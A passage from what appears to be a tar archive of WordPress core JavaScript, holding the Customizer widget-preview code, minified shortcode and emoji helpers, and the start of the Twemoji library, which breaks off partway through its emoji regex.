@return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements * that were reflowed. */ reflowWidgets: function() { var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = []; widgetIds = sidebarPartial.getWidgetIds(); sidebarPlacements = sidebarPartial.placements(); widgetPartials = {}; _.each( widgetIds, function( widgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' ); if ( widgetPartial ) { widgetPartials[ widgetId ] = widgetPartial; } } ); _.each( sidebarPlacements, function( sidebarPlacement ) { var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1; // Gather list of widget partial containers in this sidebar, and determine if a sort is needed. _.each( widgetPartials, function( widgetPartial ) { _.each( widgetPartial.placements(), function( widgetPlacement ) { if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) { thisPosition = widgetPlacement.container.index(); sidebarWidgets.push( { partial: widgetPartial, placement: widgetPlacement, position: thisPosition } ); if ( thisPosition < lastPosition ) { needsSort = true; } lastPosition = thisPosition; } } ); } ); if ( needsSort ) { _.each( sidebarWidgets, function( sidebarWidget ) { sidebarPlacement.endNode.parentNode.insertBefore( sidebarWidget.placement.container[0], sidebarPlacement.endNode ); // @todo Rename partial-placement-moved? api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement ); } ); sortedSidebarContainers.push( sidebarPlacement ); } } ); if ( sortedSidebarContainers.length > 0 ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } return sortedSidebarContainers; }, /** * Makes sure there is a widget instance container in this sidebar for the given * widget ID. * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {wp.customize.selectiveRefresh.Partial} The widget instance partial. */ ensureWidgetPlacementContainers: function( widgetId ) { var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']'; widgetPartial = api.selectiveRefresh.partial( partialId ); if ( ! widgetPartial ) { widgetPartial = new self.WidgetPartial( partialId, { params: {} } ); } // Make sure that there is a container element for the widget in the sidebar, if at least a placeholder. _.each( sidebarPartial.placements(), function( sidebarPlacement ) { var foundWidgetPlacement, widgetContainerElement; foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) { return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber ); } ); if ( foundWidgetPlacement ) { return; } widgetContainerElement = $( sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) + sidebarPartial.params.sidebarArgs.after_widget ); // Handle rare case where before_widget and after_widget are empty. if ( ! widgetContainerElement[0] ) { return; } widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id ); widgetContainerElement.attr( 'data-customize-partial-type', 'widget' ); widgetContainerElement.attr( 'data-customize-widget-id', widgetId ); /* * Make sure the widget container element has the customize-container context data. * The sidebar_instance_number is used to disambiguate multiple instances of the * same sidebar are rendered onto the template, and so the same widget is embedded * multiple times. */ widgetContainerElement.data( 'customize-partial-placement-context', { 'sidebar_id': sidebarPartial.sidebarId, 'sidebar_instance_number': sidebarPlacement.context.instanceNumber } ); sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode ); wasInserted = true; } ); api.selectiveRefresh.partial.add( widgetPartial ); if ( wasInserted ) { sidebarPartial.reflowWidgets(); } return widgetPartial; }, /** * Handles changes to the sidebars_widgets[] setting. * * @since 4.5.0 * * @param {Array} newWidgetIds New widget IDs. * @param {Array} oldWidgetIds Old widget IDs. * * @return {void} */ handleSettingChange: function( newWidgetIds, oldWidgetIds ) { var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = []; needsRefresh = ( ( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) || ( newWidgetIds.length > 0 && 0 === oldWidgetIds.length ) ); if ( needsRefresh ) { sidebarPartial.fallback(); return; } // Handle removal of widgets. widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds ); _.each( widgetsRemoved, function( removedWidgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' ); if ( widgetPartial ) { _.each( widgetPartial.placements(), function( placement ) { var isRemoved = ( placement.context.sidebar_id === sidebarPartial.sidebarId || ( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId ) ); if ( isRemoved ) { placement.container.remove(); } } ); } delete self.renderedWidgets[ removedWidgetId ]; } ); // Handle insertion of widgets. widgetsAdded = _.difference( newWidgetIds, oldWidgetIds ); _.each( widgetsAdded, function( addedWidgetId ) { var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId ); addedWidgetPartials.push( widgetPartial ); self.renderedWidgets[ addedWidgetId ] = true; } ); _.each( addedWidgetPartials, function( widgetPartial ) { widgetPartial.refresh(); } ); api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); }, /** * Refreshes the sidebar partial. * * Note that the meat is handled in handleSettingChange because it has the * context of which widgets were removed. * * @since 4.5.0 * * @return {Promise} A promise postponing the refresh. */ refresh: function() { var partial = this, deferred = $.Deferred(); deferred.fail( function() { partial.fallback(); } ); if ( 0 === partial.placements().length ) { deferred.reject(); } else { _.each( partial.reflowWidgets(), function( sidebarPlacement ) { api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement ); } ); deferred.resolve(); } return deferred.promise(); } }); api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial; api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial; /** * Adds partials for the registered widget areas (sidebars). * * @since 4.5.0 * * @return {void} */ self.addPartials = function() { _.each( self.registeredSidebars, function( registeredSidebar ) { var partial, partialId = 'sidebar[' + registeredSidebar.id + ']'; partial = api.selectiveRefresh.partial( partialId ); if ( ! partial ) { partial = new self.SidebarPartial( partialId, { params: { sidebarArgs: registeredSidebar } } ); api.selectiveRefresh.partial.add( partial ); } } ); }; /** * Calculates the selector for the sidebar's widgets based on the registered * sidebar's info. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * * @return {void} */ self.buildWidgetSelectors = function() { var self = this; $.each( self.registeredSidebars, function( i, sidebar ) { var widgetTpl = [ sidebar.before_widget, sidebar.before_title, sidebar.after_title, sidebar.after_widget ].join( '' ), emptyWidget, widgetSelector, widgetClasses; emptyWidget = $( widgetTpl ); widgetSelector = emptyWidget.prop( 'tagName' ) || ''; widgetClasses = emptyWidget.prop( 'className' ) || ''; // Prevent a rare case when before_widget, before_title, after_title and after_widget is empty. if ( ! widgetClasses ) { return; } // Remove class names that incorporate the string formatting placeholders %1$s and %2$s. widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' ); widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' ); if ( widgetClasses ) { widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' ); } self.widgetSelectors.push( widgetSelector ); }); }; /** * Highlights the widget on widget updates or widget control mouse overs. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * @param {string} widgetId ID of the widget. * * @return {void} */ self.highlightWidget = function( widgetId ) { var $body = $( document.body ), $widget = $( '#' + widgetId ); $body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' ); $widget.addClass( 'widget-customizer-highlighted-widget' ); setTimeout( function() { $widget.removeClass( 'widget-customizer-highlighted-widget' ); }, 500 ); }; /** * Shows a title and highlights widgets on hover. On shift+clicking focuses the * widget control. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * * @return {void} */ self.highlightControls = function() { var self = this, selector = this.widgetSelectors.join( ',' ); // Skip adding highlights if not in the customizer preview iframe. if ( ! api.settings.channel ) { return; } $( selector ).attr( 'title', this.l10n.widgetTooltip ); // Highlights widget when entering the widget editor. $( document ).on( 'mouseenter', selector, function() { self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) ); }); // Open expand the widget control when shift+clicking the widget element. $( document ).on( 'click', selector, function( e ) { if ( ! e.shiftKey ) { return; } e.preventDefault(); self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) ); }); }; /** * Parses a widget ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {{idBase: string, number: number|null}} An object containing the idBase * and number of the parsed widget ID. */ self.parseWidgetId = function( widgetId ) { var matches, parsed = { idBase: '', number: null }; matches = widgetId.match( /^(.+)-(\d+)$/ ); if ( matches ) { parsed.idBase = matches[1]; parsed.number = parseInt( matches[2], 10 ); } else { parsed.idBase = widgetId; // Likely an old single widget. } return parsed; }; /** * Parses a widget setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} settingId Widget setting ID. * * @return {{idBase: string, number: number|null}|null} Either an object containing the idBase * and number of the parsed widget setting ID, * or null. */ self.parseWidgetSettingId = function( settingId ) { var matches, parsed = { idBase: '', number: null }; matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ ); if ( ! matches ) { return null; } parsed.idBase = matches[1]; if ( matches[2] ) { parsed.number = parseInt( matches[2], 10 ); } return parsed; }; /** * Converts a widget ID into a Customizer setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {string} The setting ID. */ self.getWidgetSettingId = function( widgetId ) { var parsed = this.parseWidgetId( widgetId ), settingId; settingId = 'widget_' + parsed.idBase; if ( parsed.number ) { settingId += '[' + String( parsed.number ) + ']'; } return settingId; }; api.bind( 'preview-ready', function() { $.extend( self, _wpWidgetCustomizerPreviewSettings ); self.init(); }); return self; })( jQuery, _, wp, wp.customize ); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/shortcode.min.js���������������������������������������������������������������������������������0000644�����������������00000005133�14717703502�0010302 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ window.wp=window.wp||{},wp.shortcode={next:function(t,e,n){var s=wp.shortcode.regexp(t);if(s.lastIndex=n||0,n=s.exec(e))return"["===n[1]&&"]"===n[7]?wp.shortcode.next(t,e,s.lastIndex):(t={index:n.index,content:n[0],shortcode:wp.shortcode.fromMatch(n)},n[1]&&(t.content=t.content.slice(1),t.index++),n[7]&&(t.content=t.content.slice(0,-1)),t)},replace:function(t,e,h){return e.replace(wp.shortcode.regexp(t),function(t,e,n,s,r,o,i,c){if("["===e&&"]"===c)return t;var a=h(wp.shortcode.fromMatch(arguments));return a?e+a+c:t})},string:function(t){return new wp.shortcode(t).string()},regexp:_.memoize(function(t){return new RegExp("\\[(\\[?)("+t+")(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)","g")}),attrs:_.memoize(function(t){var e,n={},s=[],r=/([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g;for(t=t.replace(/[\u00a0\u200b]/g," ");e=r.exec(t);)e[1]?n[e[1].toLowerCase()]=e[2]:e[3]?n[e[3].toLowerCase()]=e[4]:e[5]?n[e[5].toLowerCase()]=e[6]:e[7]?s.push(e[7]):e[8]?s.push(e[8]):e[9]&&s.push(e[9]);return{named:n,numeric:s}}),fromMatch:function(t){var e=t[4]?"self-closing":t[6]?"closed":"single";return new wp.shortcode({tag:t[2],attrs:t[3],type:e,content:t[5]})}},wp.shortcode=_.extend(function(t){_.extend(this,_.pick(t||{},"tag","attrs","type","content"));var e=this.attrs;this.attrs={named:{},numeric:[]},e&&(_.isString(e)?this.attrs=wp.shortcode.attrs(e):0===_.difference(_.keys(e),["named","numeric"]).length?this.attrs=_.defaults(e,this.attrs):_.each(t.attrs,function(t,e){this.set(e,t)},this))},wp.shortcode),_.extend(wp.shortcode.prototype,{get:function(t){return this.attrs[_.isNumber(t)?"numeric":"named"][t]},set:function(t,e){return this.attrs[_.isNumber(t)?"numeric":"named"][t]=e,this},string:function(){var n="["+this.tag;return _.each(this.attrs.numeric,function(t){/\s/.test(t)?n+=' "'+t+'"':n+=" "+t}),_.each(this.attrs.named,function(t,e){n+=" "+e+'="'+t+'"'}),"single"===this.type?n+"]":"self-closing"===this.type?n+" /]":(n+="]",this.content&&(n+=this.content),n+"[/"+this.tag+"]")}}),wp.html=_.extend(wp.html||{},{attrs:function(t){var e;return"/"===t[t.length-1]&&(t=t.slice(0,-1)),t=wp.shortcode.attrs(t),e=t.named,_.each(t.numeric,function(t){/\s/.test(t)||(e[t]="")}),e},string:function(t){var n="<"+t.tag,e=t.content||"";return _.each(t.attrs,function(t,e){n+=" "+e,_.isBoolean(t)&&(t=t?"true":"false"),n+='="'+t+'"'}),t.single?n+" />":(n=(n+=">")+(_.isObject(e)?wp.html.string(e):e))+"</"+t.tag+">"}});�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/wp-emoji.min.js����������������������������������������������������������������������������������0000644�����������������00000005471�14717703502�0010044 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(c,l){c.wp=c.wp||{},c.wp.emoji=new function(){var n,u,e=c.MutationObserver||c.WebKitMutationObserver||c.MozMutationObserver,a=c.document,t=!1,r=0,o=0<c.navigator.userAgent.indexOf("Trident/7.0");function i(){return!a.implementation.hasFeature||a.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#Image","1.1")}function s(){if(!t){if(void 0===c.twemoji)return 600<r?void 0:(c.clearTimeout(u),u=c.setTimeout(s,50),void r++);n=c.twemoji,t=!0,e&&new e(function(u){for(var e,t,n,a,r=u.length;r--;){if(e=u[r].addedNodes,t=u[r].removedNodes,1===(n=e.length)&&1===t.length&&3===e[0].nodeType&&"IMG"===t[0].nodeName&&e[0].data===t[0].alt&&"load-failed"===t[0].getAttribute("data-error"))return;for(;n--;){if(3===(a=e[n]).nodeType){if(!a.parentNode)continue;if(o)for(;a.nextSibling&&3===a.nextSibling.nodeType;)a.nodeValue=a.nodeValue+a.nextSibling.nodeValue,a.parentNode.removeChild(a.nextSibling);a=a.parentNode}!a||1!==a.nodeType||a.className&&"string"==typeof a.className&&-1!==a.className.indexOf("wp-exclude-emoji")||d(a.textContent)&&f(a)}}}).observe(a.body,{childList:!0,subtree:!0}),f(a.body)}}function d(u){return!!u&&(/[\uDC00-\uDFFF]/.test(u)||/[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/.test(u))}function f(u,e){var t;return!l.supports.everything&&n&&u&&("string"==typeof u||u.childNodes&&u.childNodes.length)?(e=e||{},t={base:i()?l.svgUrl:l.baseUrl,ext:i()?l.svgExt:l.ext,className:e.className||"emoji",callback:function(u,e){switch(u){case"a9":case"ae":case"2122":case"2194":case"2660":case"2663":case"2665":case"2666":return!1}return!(l.supports.everythingExceptFlag&&!/^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test(u)&&!/^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test(u))&&"".concat(e.base,u,e.ext)},attributes:function(){return{role:"img"}},onerror:function(){n.parentNode&&(this.setAttribute("data-error","load-failed"),n.parentNode.replaceChild(a.createTextNode(n.alt),n))}},"object"==typeof e.imgAttr&&(t.attributes=function(){return e.imgAttr}),n.parse(u,t)):u}return l&&(l.DOMReady?s():l.readyCallback=s),{parse:f,test:d}}}(window,window._wpemojiSettings);�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/twemoji.js���������������������������������������������������������������������������������������0000644�����������������00000077220�14717703502�0007212 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*jslint indent: 2, browser: true, bitwise: true, plusplus: true */ var twemoji = (function ( /*! Copyright Twitter Inc. and other contributors. Licensed under MIT *//* https://github.com/twitter/twemoji/blob/gh-pages/LICENSE */ // WARNING: this file is generated automatically via // `node scripts/build.js` // please update its `createTwemoji` function // at the bottom of the same file instead. ) { 'use strict'; /*jshint maxparams:4 */ var // the exported module object twemoji = { ///////////////////////// // properties // ///////////////////////// // default assets url, by default will be Twitter Inc. CDN base: 'https://twemoji.maxcdn.com/v/14.0.2/', // default assets file extensions, by default '.png' ext: '.png', // default assets/folder size, by default "72x72" // available via Twitter CDN: 72 size: '72x72', // default class name, by default 'emoji' className: 'emoji', // basic utilities / helpers to convert code points // to JavaScript surrogates and vice versa convert: { /** * Given an HEX codepoint, returns UTF16 surrogate pairs. * * @param string generic codepoint, i.e. '1F4A9' * @return string codepoint transformed into utf16 surrogates pair, * i.e. \uD83D\uDCA9 * * @example * twemoji.convert.fromCodePoint('1f1e8'); * // "\ud83c\udde8" * * '1f1e8-1f1f3'.split('-').map(twemoji.convert.fromCodePoint).join('') * // "\ud83c\udde8\ud83c\uddf3" */ fromCodePoint: fromCodePoint, /** * Given UTF16 surrogate pairs, returns the equivalent HEX codepoint. * * @param string generic utf16 surrogates pair, i.e. \uD83D\uDCA9 * @param string optional separator for double code points, default='-' * @return string utf16 transformed into codepoint, i.e. '1F4A9' * * @example * twemoji.convert.toCodePoint('\ud83c\udde8\ud83c\uddf3'); * // "1f1e8-1f1f3" * * twemoji.convert.toCodePoint('\ud83c\udde8\ud83c\uddf3', '~'); * // "1f1e8~1f1f3" */ toCodePoint: toCodePoint }, ///////////////////////// // methods // ///////////////////////// /** * User first: used to remove missing images * preserving the original text intent when * a fallback for network problems is desired. * Automatically added to Image nodes via DOM * It could be recycled for string operations via: * $('img.emoji').on('error', twemoji.onerror) */ onerror: function onerror() { if (this.parentNode) { this.parentNode.replaceChild(createText(this.alt, false), this); } }, /** * Main method/logic to generate either <img> tags or HTMLImage nodes. * "emojify" a generic text or DOM Element. * * @overloads * * String replacement for `innerHTML` or server side operations * twemoji.parse(string); * twemoji.parse(string, Function); * twemoji.parse(string, Object); * * HTMLElement tree parsing for safer operations over existing DOM * twemoji.parse(HTMLElement); * twemoji.parse(HTMLElement, Function); * twemoji.parse(HTMLElement, Object); * * @param string|HTMLElement the source to parse and enrich with emoji. * * string replace emoji matches with <img> tags. * Mainly used to inject emoji via `innerHTML` * It does **not** parse the string or validate it, * it simply replaces found emoji with a tag. * NOTE: be sure this won't affect security. * * HTMLElement walk through the DOM tree and find emoji * that are inside **text node only** (nodeType === 3) * Mainly used to put emoji in already generated DOM * without compromising surrounding nodes and * **avoiding** the usage of `innerHTML`. * NOTE: Using DOM elements instead of strings should * improve security without compromising too much * performance compared with a less safe `innerHTML`. * * @param Function|Object [optional] * either the callback that will be invoked or an object * with all properties to use per each found emoji. * * Function if specified, this will be invoked per each emoji * that has been found through the RegExp except * those follwed by the invariant \uFE0E ("as text"). * Once invoked, parameters will be: * * iconId:string the lower case HEX code point * i.e. "1f4a9" * * options:Object all info for this parsing operation * * variant:char the optional \uFE0F ("as image") * variant, in case this info * is anyhow meaningful. * By default this is ignored. * * If such callback will return a falsy value instead * of a valid `src` to use for the image, nothing will * actually change for that specific emoji. * * * Object if specified, an object containing the following properties * * callback Function the callback to invoke per each found emoji. * base string the base url, by default twemoji.base * ext string the image extension, by default twemoji.ext * size string the assets size, by default twemoji.size * * @example * * twemoji.parse("I \u2764\uFE0F emoji!"); * // I <img class="emoji" draggable="false" alt="❤️" src="/assets/2764.gif"/> emoji! * * * twemoji.parse("I \u2764\uFE0F emoji!", function(iconId, options) { * return '/assets/' + iconId + '.gif'; * }); * // I <img class="emoji" draggable="false" alt="❤️" src="/assets/2764.gif"/> emoji! * * * twemoji.parse("I \u2764\uFE0F emoji!", { * size: 72, * callback: function(iconId, options) { * return '/assets/' + options.size + '/' + iconId + options.ext; * } * }); * // I <img class="emoji" draggable="false" alt="❤️" src="/assets/72x72/2764.png"/> emoji! * */ parse: parse, /** * Given a string, invokes the callback argument * per each emoji found in such string. * This is the most raw version used by * the .parse(string) method itself. * * @param string generic string to parse * @param Function a generic callback that will be * invoked to replace the content. * This callback will receive standard * String.prototype.replace(str, callback) * arguments such: * callback( * rawText, // the emoji match * ); * * and others commonly received via replace. */ replace: replace, /** * Simplify string tests against emoji. * * @param string some text that might contain emoji * @return boolean true if any emoji was found, false otherwise. * * @example * * if (twemoji.test(someContent)) { * console.log("emoji All The Things!"); * } */ test: test }, // used to escape HTML special chars in attributes escaper = { '&': '&', '<': '<', '>': '>', "'": ''', '"': '"' }, // RegExp based on emoji's official Unicode standards // http://www.unicode.org/Public/UNIDATA/EmojiSources.txt re = /(?:\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffe]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffe]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud8